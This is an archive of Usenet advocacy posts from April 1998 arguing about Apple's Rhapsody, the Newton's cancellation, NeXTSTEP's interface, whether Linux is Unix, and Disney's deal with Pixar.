---------------------------------------------------------------------------
I speak for me, not my employer
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"What's wrong with 3rd party tools? Especially if they are free?
What the hell do you think unix is anyway? It's a big honkin' party
of 3rd party free tools." --Bob Cassidy (rmcassid@uci.edu)
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy,comp.os.linux.advocacy
Subject: Re: Commentary on Apple's rumor mongering.
Date: Thu, 02 Apr 1998 09:36:30 -0500
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-0204980936300001@mv093.axom.com>
References: <351FC022.671D4C36@milestonerdl.com> <trev-3003981228020001@dial-17.r13.scsumt.infoave.net> <x767ks4um5.fsf@frobozz.unixperts.com>
Xcanpos: shelf.01/199804141801!0026249920
In article <x767ks4um5.fsf@frobozz.unixperts.com>, Kevin Brown
<kevin@frobozz.unixperts.com> wrote:
>I'll become more convinced that Apple has what it takes to succeed
>when they first figure out whether they're a hardware company or a
>software company.
It's a shame that SGI, Sun, IBM, and HP haven't got it figured out either.
--
Ted Brown tbrown@netset.com
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody vs. VisualBasic
Date: 2 Apr 1998 09:34:58 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6fvm42$i4c$1@ns3.vrx.net>
References: <35215529.2E181E25@slip.net> <6ft2b6$f9q$2@ns3.vrx.net>
<35231189.6394@stetson.edu> <slrn6i6dta.j6l.sal@panix3.panix.com>
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Xcanpos: shelf.01/199804141801!0026530537
In <slrn6i6dta.j6l.sal@panix3.panix.com> Salvatore Denaro claimed:
> Someone could argue the differences between the VB/Delphi/CPPB
> Property/Events/Methods paradigm and the IB+YB+PB Model/Controller/View
> paradigm for hours,
Not me, I'd put it in a much simpler fashion...
Under VB you use VB objects
Under VC++ (et all) you use MFC objects
Under Delphi you use Delphi objects
Under CoderBuilder you use Delphi objects
Under OpenStep you use OpenStep objects
Seems like a clear and obvious distinction to me. It means you have all
functionality under all enviornments, and it means that all of your systems
are up to date. This is not at all true under these PC enviornments where
the object model can differ drastically in quality, completeness, and
timelyness.
Perhaps another way to look at it is to pick a basic "foundation" level
class from these systems and compare. None of the PC packages have anything
remotely like NSString (with attributes and such), and even things like
When you get to use the programming engine of your choice but sill have
access to the rich "foundation" objects, you win.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 09:39:19 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6fvmc7$i4c$2@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fmtdo$qr7$1@quasar.dim <rmcassid-0104981001030001@dante.eng.uci.edu> <6fudoa$nqe$1@crib.bevc.blacksburg.va.us>
<rmcassid-0104981421190001@dante.eng.uci.edu>
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Xcanpos: shelf.01/199804141801!0026532553
In <rmcassid-0104981421190001@dante.eng.uci.edu> rmcassid@uci.edu claimed:
> Well, neither will QT as it turns out... But I don't really see IB-Lite
> and AS handling interactive time-keyed multimedia streaming to my browser.
I think it's too early to call. There's a lot of promising signs here...
a) one of the main reasons AS is slow is that it's fighting the MT system on
the Mac. To improve script speed you have to lower event dispatch speed, or
vice versa.
b) another reason is that it's 68k code
c) another is the tonnes of casting
d) another is that it appears to be, well, poor code
All of these can be addressed under OS. For one AS "servers" will be able
to call the methods in your application, thus avoiding call overhead,
casting, and GREATLY reducing the event dispatch problems. AS will be able
to run as fast as it wants without fear of tromping on the app attempting to
get the events. For another it will be native. I personally think AS is
about to get a two orders of magnitude speed bump.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 09:41:25 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6fvmg5$i4c$3@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fmtdo$qr7$1@quasar.dim <6ft27m$f9q$1@ns3.vrx.net> <6fudtl$nr3$1@crib.bevc.blacksburg.va.us>
<rmcassid-0104981454370001@dante.eng.uci.edu>
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Xcanpos: shelf.01/199804141801!0028451411
In <rmcassid-0104981454370001@dante.eng.uci.edu> rmcassid@uci.edu claimed:
> But none of these tools allow for all of the kinds of things that IB does,
> though I think that Facespan comes the closest.
Yup, agree 100%. FaceSpan (+ Scripter) is the goal.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 09:43:57 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6fvmkt$i4c$4@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net>
<6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk>
<34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<6fvapb$6th$3@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
Xcanpos: shelf.01/199804141801!0028453938
In <6fvapb$6th$3@quasar.dimensional.com> Kenneth R. Kinder claimed:
> Honestly, if I were Apple (yikes!), besides just OpenSourcing everything
:),
> I wouldn't put too much effort into PPP... it'll be obsolete in 3-5 years.
Uh huh. I'd put this right up with your most clueless statements ever.
Hint: there's a whole world out there that's never seen cable TV, and
entire countries with less than a T1 bandwidth. PPP will be around for a
very long time.
Maury
From: Jeff.Richmond@uk.sun.com (Jeff Richmond - SUN UK - SSIR)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 2 Apr 1998 14:45:29 GMT
Organization: Sun Microsystems UK
Message-ID: <6g08a9$lbv@flonk.uk.sun.com>
References: <rmcassid-0104981112000001@dante.eng.uci.edu>
Xcanpos: shelf.01/199804141801!0031531600
In article <rmcassid-0104981112000001@dante.eng.uci.edu>, rmcassid@uci.edu writes:
>Clearly it doesn't much matter how far ahead one is technologically even
>though I agree with you that Newton was the one to catch. Newton never had
>the mindshare and it took a lot of work to get apps developed for it as it
>didn't leverage work done on any other OS.
>
I agree that the best technology doesn't always win ... marketing and acquiring
mindshare of the consumer are paramount. This is where Apple simply failed
miserably ... everyone I've ever shown my Newton to thinks it is an amazing tool,
better than any other PDA they've seen. So if mindshare of the consumer isn't a
problem, the marketing must be at fault. Ahh.
Application development is -different- than other environments because the OS is
object-oriented and designed explicity for PDAs. But it is those very factors
which give the Newton it's edge over PDAs based on desktop OSs ... like the
forthcoming MacOS-based PDA. The desktop paradigm simply does not translate well
to the PDA ... can anyone name a feature of the MacOS that you would want
to see in a PDA?
Co-operative multitasking? Definitely not, PMT is a must.
Mac GUI? Nope (occupies way too much real-estate, highlighting and dragging
interfere with hand writing manipulation etc.).
Filesystem? Not appropriate, soups handle data storage better in most respects.
>Newton developers will come back if the MacOS PDA takes off. Developers
>need to eat too. Look at how many developers swallowed their pride and
>ported their apps to Windows or DOS or whatever. Developers in the big
>picture chase profits. Not all do, not all to the same extent, but in the
>end, they do.
>
Well, if they're making their living writing for Psions or WinCE devices (where
most Newton developers will go I'm sure), I don't expect they'll return to a
company that burned them big time.
>If Rhapsody ends up with a MacOS or NT sized market, it'll get plenty of
>developers to forget Newton and chase the market.
>
Not sure what you're trying to say here. Given that MacOS and Rhapsody are
converging, Apple's OS team has only to worry about one desktop/power-user OS.
If having a second OS for their PDAs allows their product to be superior in the
market, is it unreasonable to fund/develop that OS? Is Apple serious about taking
a majority market share in the PDA sphere? From their actions, it doesn't seem
like they are.
Jeff Richmond
- standard disclaimer -
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Wed, 01 Apr 1998 10:01:03 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0104981001030001@dante.eng.uci.edu>
References: <199801202218001457904@ppp8.hol.fr> <slrn6duen6.q82.sal@panix3.panix.com> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <slrn6i2mja.a5o.sal@panix3.panix.com> <rmcassid-3103981540370001@dante.eng.uci.edu> <6ft27m$f9q$1@ns3.vrx.net>
Xcanpos: shelf.01/199804140201!0030988218
In article <6ft27m$f9q$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <rmcassid-3103981540370001@dante.eng.uci.edu> rmcassid@uci.edu claimed:
>> >2) Hypercard.
>>
>> Should come with Quicktime.
>
> I have to disagree on both counts. What's really needed is IB-Lite +
>AppleScript. Ask yourself what it is that HC does (ie, bind AS-like scripts
>to interface objects), and I think you'll agree this is the actual issue.
Any chance the Digital Technology (FaceSpan) guys are working on this?
This would be massively cool. *But* I would like a way to deliver
scriptable content across a network and QT with embedded scripting would
do this that IB-Lite + AS could not.
-Bob Cassidy
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Barefoot Gen (Was: Re: "Well, Mr. Jobs, What'll It Be?")
Date: 1 Apr 1998 15:06:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B148097D-8570C@206.165.43.107>
References: <35228429.10C8@nt.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
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Xcanpos: shelf.01/199804140201!0033202543
Mike Trivisonno <trivison@nt.com> said:
>
> And Barefoot Gen is perhaps the finest film I have ever seen. Nothing
> from studios in the west come close to this masterpiece.
>
That's one anime that I've been afraid to watch, to be honest. I watch
anime for entertainment and a story about Hiroshima survivors is likely to
be just a tad depressing.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: DispalyPostScript no more...
Date: 1 Apr 1998 15:08:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14809E8-87049@206.165.43.107>
References: <352275B2.55F62E13@trilithon.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Xcanpos: shelf.01/199804140201!0033217183
Henry McGilton <henry@trilithon.com> said:
> Lawson English wrote:
> * GX already IS pretty. But, like any cinder-girl,
> * it needs tidying up before anyone would take a second look.
> Well, as I've said before, this is your golden opportunity
> to contribute something useful for a change.
>
Heh.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 15:29:16 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6g0asc$ma8$1@news.cs.tu-berlin.de>
References: <199801202218001457904@ppp8.hol.fr> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6t
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[Following up on myself, sigh...]
>Neither do I. The point wasn't wether Objective-C is good or bad, but
>that they picked a language that existed at the time. What's more, they
>picked a language that is a very *simple* sub-set of plain C.
^^^^^^^ -> super-set, of course
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: float@interport.net
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Date: 2 Apr 1998 10:43:39 -0500
Organization: Interport Communications Corp.
Message-ID: <6g0bnb$d6k$1@interport.net>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net>
Xcanpos: shelf.01/199804141801!0040806338
Curtis Bass (cndbass@i2020.net) wrote:
: Well, the real reason it can't be called UNIX is simply because the Open
: Group has the rights to the UNIX name, and *they* decide what is and
: isn't UNIX.
Only legally. The technical community decides what is unix, in
practice, and as far as I can tell, people accept the freed unices as
unices.
: Even FreeBSD (which is a direct decendant of Berkeley BSD
: 4.x UNIX) cannot be called "UNIX" for this reason.
Well, I've been calling it unix for a couple years now, and I haven't
had Open Group stormtroopers banging down my door, so I don't sweat it.
: As far as I'm concerned, if it can run SCO binaries (which Linux can),
: it's pretty much UNIX, <snip>
See what I mean? ;-)
: Curtis
--
Ben
<Just Another System Administrator>
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Date: Wed, 01 Apr 1998 11:03:05 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0104981103050001@dante.eng.uci.edu>
References: <6f6fpe$lk5@shelob.afs.com> <jayfar-2303981832130001@downtown1-8.slip.netaxs.com> <rmcassid-2403981215280001@dante.eng.uci.edu> <199803300039192097841@sdn-ts-003txhousp07.dialsprint.net> <6fol4e$n21$1@nnrp1.dejanews.com> <rmcassid-3003981259440001@dialin9013.slip.uci.edu> <19980331031822711231@sdn-ts-005txhousp14.dialsprint.net> <rmcassid-3103980921490001@dante.eng.uci.edu> <19980331164046824062@sdn-ts-012txhousp03.dialsprint.net> <rmcassid-3103981617150001@dante.eng.uci.edu> <199804010054202605346@sdn-ts-004txhousp02.dialsprint.net>
Xcanpos: shelf.01/199804140201!0045684788
In article <199804010054202605346@sdn-ts-004txhousp02.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
[snip]
>You may think that most of them
>bombed because they weren't carrying the Disney banner, but in my view
>they bombed because by and large they were not very good and had story
>lines that rarely could sustain the interest of anyone over 5.
I think that had a film like Anastasia been released by Disney, it would
have been very profitable. Call it a blunder by the studio that released
it or whatever, but it's damn hard for Disney to release a bomb regardless
of it's quality. That's different than saying that only Disney can be
successful at animation, but there is a certain guarantee of viewership
with Disney.
>Even so,
>Universal has done quite well with THE LAND BEFORE TIME and its numerous
>video-only sequels.
But are those films profitable enough to keep a studio like Pixar in
business? We're not talking low-budget animation here, but high-budget
productions. That's what Toy Story was and what all Pixar feature films
will likely be. Universal has not demonstrated that they can prop up that
kind of film.
>Are Spielberg's thrill ride movies successful more because of marketing or
>craft?
Depends on the film. Some are definately marketing. Some are clearly
craft. Most are both, actually.
Which makes the point to a degree. Should Spielberg risk his craft on a
studio that is 2nd best at marketing? Disney *knows* exactly who they are
and what they can offer Pixar. Steve seems to have great respect for the
Disney name brand. I don't think there was any serious alternative to
Disney in Steve's mind and yet he got a great deal. In fact he shocked a
*lot* of people with how good a deal he got.
>How about Windows 95?
Same thing. I'd be lying if I said there weren't real legitimate reasons
to buy Win95. I'd also be lying if I said that only those reasons were why
people buy Win95. Win95 is successful due to marketing, coersion, and a
failure on the part of other companies (like IBM and Apple) to compete
effectively.
>BTW, your comment about Pixar was my point exactly -- consistency and
>momentum lead to success and power, all of which are available to anyone
>with the savvy to take advantage of them. Disney was smart to foreclose
>another studio from reaping these rewards with Pixar, but I don't see
>Disney's deal with Pixar as Microsoftian unless there was some
>underhanded dealing in getting TOY STORY to Disney in the first place
>(evidence of which I would be interested in hearing).
I don't think there is any evidence to that effect. I think that Steve
sought Disney out knowing that Disney had the most to offer Pixar. At the
same time, he didn't have any choice really. It's not an underhanded
conspiracy, if that's what you mean, but I don't see that Pixar would have
made 1/2 as much money with any other studio as with Disney.
Microsoft doesn't always intend to be Microsoftian, sometimes it just
works out that way. Same with Disney. Intuit is somewhat Microsoftian as
well, but I don't think any less of them because of it - that's how it
ended up, is all.
> And I'm pretty
>sure every Disney film since THE LITTLE MERMAID has been profitable in
>its first theatrical run. The ancillary revenues are the tail that has
>come to wag the dog -- an industrywide phenomenon that again I don't
>know that Disney pioneered but from which they have certainly reaped the
>greatest rewards.
Agreed. But I don't think that you an say that Disney's films are
successful because of their talent over their marketing - how would you
even measure that. I've got Disney videos at home that I've never seen in
the theaters or even on the VCR. But I own them. Why? Certainly not
because of the high quality. Must be some other reason. Its anecdotal, to
be sure, but I know a lot of other people that are the same way (some of
those films came from these people).
[snip]
>I think Disney has succeeded because of shrewd management
>and by offering the marketplace compelling products; Microsoft is
>certainly shrewd, but I think far less compelling (and far more dominant
>in its industry).
I agree with all of this. I wouldn't say that any film Disney puts out is
a slam-dunk - like so many of their non-animations. In this way they are
much like the other studios, hit or miss. But in terms of animation, they
are almost guaranteed profitable. It's sheer momentum here. In animation,
the Disney marketing machine seems to be invincible. MS has had many
failures as well, but not in the OS or Office arenas.
[snip]
>> I don't think Disney pioneered movie tie-ins either. Batman was a
>> different product to a different market. Disney films appeal to a much
>> younger crowd and have better replay appeal - the stories don't vary much,
>> only the characters and settings do. It has not been lost on Disney that
>> their product turns into a babysitter-of-the-year.
>
>It has not been lost on any movie studio. However, only one has been
>able to *consistently* (key word) profit from this knowledge.
Why can they consistently profit? Could the fact that I have a small
baby-sitting library of Disney films that I've never seen be relevant? The
movies sell regardless of the quality or content. So long as they are
'Disney' and are appropriate for the age group, they sell.
>Maybe when you've sat through a few films from Disney's competitors,
>you'll better understand why I cannot liken Disney to Microsoft.
If your point is that Disney is a quality product where MS is not, well, I
suppose I cannot argue with you there. But that does not mean that Disney
is as successful as they are as a result of that quality. MS is proof that
success does not necessarily result from quality.
>> Microsoft is the same way but substitute 'management' for 'child' (that
>> works in *so* many ways, doesn't it...)
>
>I appreciate the humor, but I confess I don't see the correlation. (Buy
>Microsoft to stop management from whining, I guess.)
Market to those individuals that are the least discerning of quality and
have the greatest effect on purchasing - management typically fits this
role, as do kids for certain kinds of products like entertainment.
Marketing Disney to me is pointless. McD's learned this lesson long ago -
market to the kids that know nothing of nutrition or cost and you get the
kids *and* the parents as customers. Much more effective.
>But it's a brilliant concept that anyone can see and (try to) implement.
But only Disney has that library to implement such a strategy. It's not to
say that in 5-10 years other studios won't have it as well, but in the
context of Pixar needing to release films over the next 5 years, that
leaves only one to choose from.
>Disney may have the power to do what you say, but I don't think they
>currently operate this way. IOW, I don't think any Disney product is a
>loss leader. Certainly the films make money. I have never heard that a
>Disney animated feature cost $100 million to make, even including all
>marketing costs. In fact, animation is known for being profitable in
>and of itself because there are no onscreen stars to pay, no "points" to
>be given away to big-name directors/producers/actors/writers, and
>animators have traditionally (until the recent bidding war) been
>low-paid by Hollywood standards. (ALADDIN was so profitable for Disney
>during its theatrical run that they bought Robin Williams a Picasso to
>placate him for his low paycheck.)
I believe that as those costs have increased, the profits from the
animations have decreased significantly. That without the merchandising
and other bits and pieces, that the films would be much more difficult to
justify today. Certainly it hasn't always been like this, but such is the
trend today.
Disney doesn't need to intentionally operate in this way anyhow. The mere
fact that they can, and they are who they are yields the desired effect.
MS has the same reputation. Nobody would even consider developing a
productivity suite today because MS is MS. MS might not take any action
against the product at all but that doesn't matter since the other product
will never come to be developed to begin with.
>When
>all is said and done (video, TV, etc.), I'm sure ANASTASIA will make
>money -- just not as much as Fox had hoped.
But that is essentially the point. How would Anastasia have done had
Disney released it? Probably much better - maybe not a blockbuster like
other Disney films, but I imagine much better only on the Disney name. Fox
was very vague about which studio was releasing Anastasia, trying to make
it seem like a Disney release.
>THE LITTLE MERMAID was the class act of that pair.
Fair enough. But it means that Disney does not need to actively compete
against the other studios so long as they have a film not released in the
last 5 years that would compete favorably. Fox might release 'A Bugs Life'
only to be up against a rerelease of what? Bambi?
It's not the same point by point - but Disney clearly is the 500lb gorilla
and you'd be foolish not to have them on your side if you are releasing a
children's animation.
-Bob Cassidy
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Wed, 01 Apr 1998 11:12:00 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0104981112000001@dante.eng.uci.edu>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com>
Xcanpos: shelf.01/199804140201!0047366556
In article <6ft833$lae@flonk.uk.sun.com>, Jeff.Richmond@uk.sun.com wrote:
>Er ... it's not clear to me at all that the Newton was a dead-end. It
was/still is much further ahead than other PDAs and had plenty of options
for growth re: different form factors and colour. It seems highly
unlikely to me that Newton developers will come back to Apple when they
release a new MacOS-based PDA. I think Apple has destroyed their place in
the PDA market ... difficult or impossible to recover it, IMNSHO. The
losses that Newton incurred have long been written off ... the cost of
shutting it down likely far exceeds the revenue it was generating. Apple
really blew it ... makes me cautious of using/developing for Rhapsody.
Clearly it doesn't much matter how far ahead one is technologically even
though I agree with you that Newton was the one to catch. Newton never had
the mindshare and it took a lot of work to get apps developed for it as it
didn't leverage work done on any other OS.
Newton developers will come back if the MacOS PDA takes off. Developers
need to eat too. Look at how many developers swallowed their pride and
ported their apps to Windows or DOS or whatever. Developers in the big
picture chase profits. Not all do, not all to the same extent, but in the
end, they do.
If Rhapsody ends up with a MacOS or NT sized market, it'll get plenty of
developers to forget Newton and chase the market.
-Bob Cassidy
From: danielt@thranx.dgii.com (Daniel Taylor)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net> <35239B51.2D38@be1151.pd3.ford.com>
Message-ID: <slrn6i7f86.feq.danielt@thranx.dgii.com>
Date: Thu, 02 Apr 1998 16:34:57 GMT
NNTP-Posting-Date: Thu, 02 Apr 1998 10:34:57 CST
Xcanpos: shelf.01/199804142201!0009413857
On Thu, 02 Apr 1998 09:06:09 -0500,
Aaron R Kulkis <akulkis@be1151.pd3.ford.com> scribed:
>Curtis Bass wrote:
>>
>> Gregory Loren Hansen wrote:
>>
>> -- snip --
>>
>> > I know, someone is bound to pipe up and say Linux isn't a Unix because it
>> > doesn't have the right pedigree. But it looks like a Unix, walks like a
>> > Unix, quacks like a Unix, and it's widely supported for a Unix, and it's
>> > free.
>
>And it compiles+runs Unix sources w/o modification....
>
Unix is a common Linux-like OS, so of course Linux can use Unix
sources ;)
Many commercial Unix's use utilities derived from the GNU utilities
that form the foundation of Linux's userspace, and the FSF's glibc
is pretty close to an industry standard, as is their C compiler.
So Unix is not Linux.
--
Daniel Taylor
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 1 Apr 1998 23:36:57 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6fuj2p$c7j$7@anvil.BLaCKSMITH.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net>
Xcanpos: shelf.01/199804140201!0051405362
[ ...list of complaints snipped... ]
You know what the problem is, Mike?
I've never seen you post to any NeXT group except .advocacy, and only then to
complain about NEXTSTEP. I've never seen you simply ask for help without
making editorial complaints.
Almost all of the problems you've mentioned have well-known solutions. In
fact, most of them have been discussed before, and a moderately skilled
application of search filtering and keyword choice via DejaNews would produce
lots of useful information.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 16:42:07 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3523BFDF.529161F8@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net>
Mime-Version: 1.0
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Xcanpos: shelf.01/199804142201!0012466432
Richard Frith-Macdonald wrote:
[cut]
> Now, I don't want to come accross as too offensive, but your comments about
> the UI read to me like someone with an attitude problem.
Heh. Hell yes, I have an attitude problem. I have a bad attitude when
the restaurant tells me what to order. I have a bad attitude when the
cleaning lady tells me how to decorate the house. I have a bad attitude
when the sales clerk critiques my purchases.
And I have a bad attitude about a system (and its advocates) that try to
tell me what is the "best" way to interact with a GUI. There's just
something that rubs me the wrong way when the majority of proponents
endure every complaint with a reply of "you're not using it right", and
the rest say, "well, that's a feature I never liked, either".
I never really looked at it from the point of view of *my* attitude. I
think I just assumed that the stubborn obstinence of NeXT advocates,
proudly, angrily pissing in the wind on the issue of scrollbars (among
others) was a matter of *their* attitude, somewhat akin to the proud Mac
user making his case for cooperative multi-tasking.
But now it's obvious that all the rest of us are not just wrong, we've
got an attitude. Forgive us.
> It sounds like you
> approached the system trying to make it like what you were used to rather
> then trying to see what it could offer and if it did anything better.
Hell yes, I spent my money on a 60-pound glorified Quadra 610 just so
that I could turn it into another X Windows workstation. Wait, no,
that's not the way it happened.
> When I first got hold of NeXTstep - I tried working with it as it came out
> of the box for over a week. I read the manuals, (especially the 'power tips'
> booklet) and tried doing things the way they were intended to be done.
Sorry, I'm trying not to laugh. I'm sure I could make a lifelong career
of explaining to the masses what is "the way things were intended to be
done" based on my previous MacOS advocacy. Or, in the same vein, I could
move to France and join the language institute and help tell people how
to speak their own language.
As a matter of fact, there's just nothing so special about NeXTstep that
merits all this talk of Brave New Paradigms. You can feel free to hate
me for saying that, but I'm no stranger to the odd magnification of
adoration that occurs when you first meet a system you can really like,
for personal reasons. But step back, man, and take a look at the big
picture; I had to eventually get to a point where I could say that all
my vapid spouting about virtuous MacOS firsts was basically irrelevant.
> By the end of that week, I was used to different ways things were done and
> had discovered that I didn't want to customise many things.
> At long last I had discovered a GUI that (overall) let me do things more
> efficiently than the shell.
That's great, but it's not like I'm on the outside looking in, simply
skeptical or puzzled at why this could be. I used the beloved Browser,
and frankly, it sucks. It can't move files anywhere near as facilely as
the Finder, yet raise the issue of the Finder for a NeXT advocate and
you get an earful about "clutter". Magically the conversation has been
transformed from "utility" to "aesthetics".
But I can understand why your shell seemed so useless, if you really
used the box as it shipped; you didn't have filename completion, ANSI
color directory listings, any convenience shells whatsoever, etc., etc.
> If I could, I'd separate the buttons on the scroller a little, but that's
> about the only thing I want to change that I can't.
Well, fire up Interface Builder!
> If the first thing you do when you find something you are uncomfortable with
> is to try to reconfigure it in a familiar manner, you will never learn what
> its advantages and disadvantages are - and you will never learn how the
> various features of the UI work together as a cohesive whole.
Oh, please. I did my best to wear the Spock ears and fit in with the
whole thing, I really did. I've probably changed GUI environment more
frequently than anybody I know, maybe more than you, who knows. I've
learned a hundred different ways of "doing things" and I'm no stranger
to culture shock. My dislike for NEXTSTEP's idiosyncracies goes far
deeper than that.
> BTW - I can still remember my initial reaction to click-to-focus was revulsion
> because I kept forgetting to click, within a few days, I felt at home with it
> and hated focus-follows-mouse.
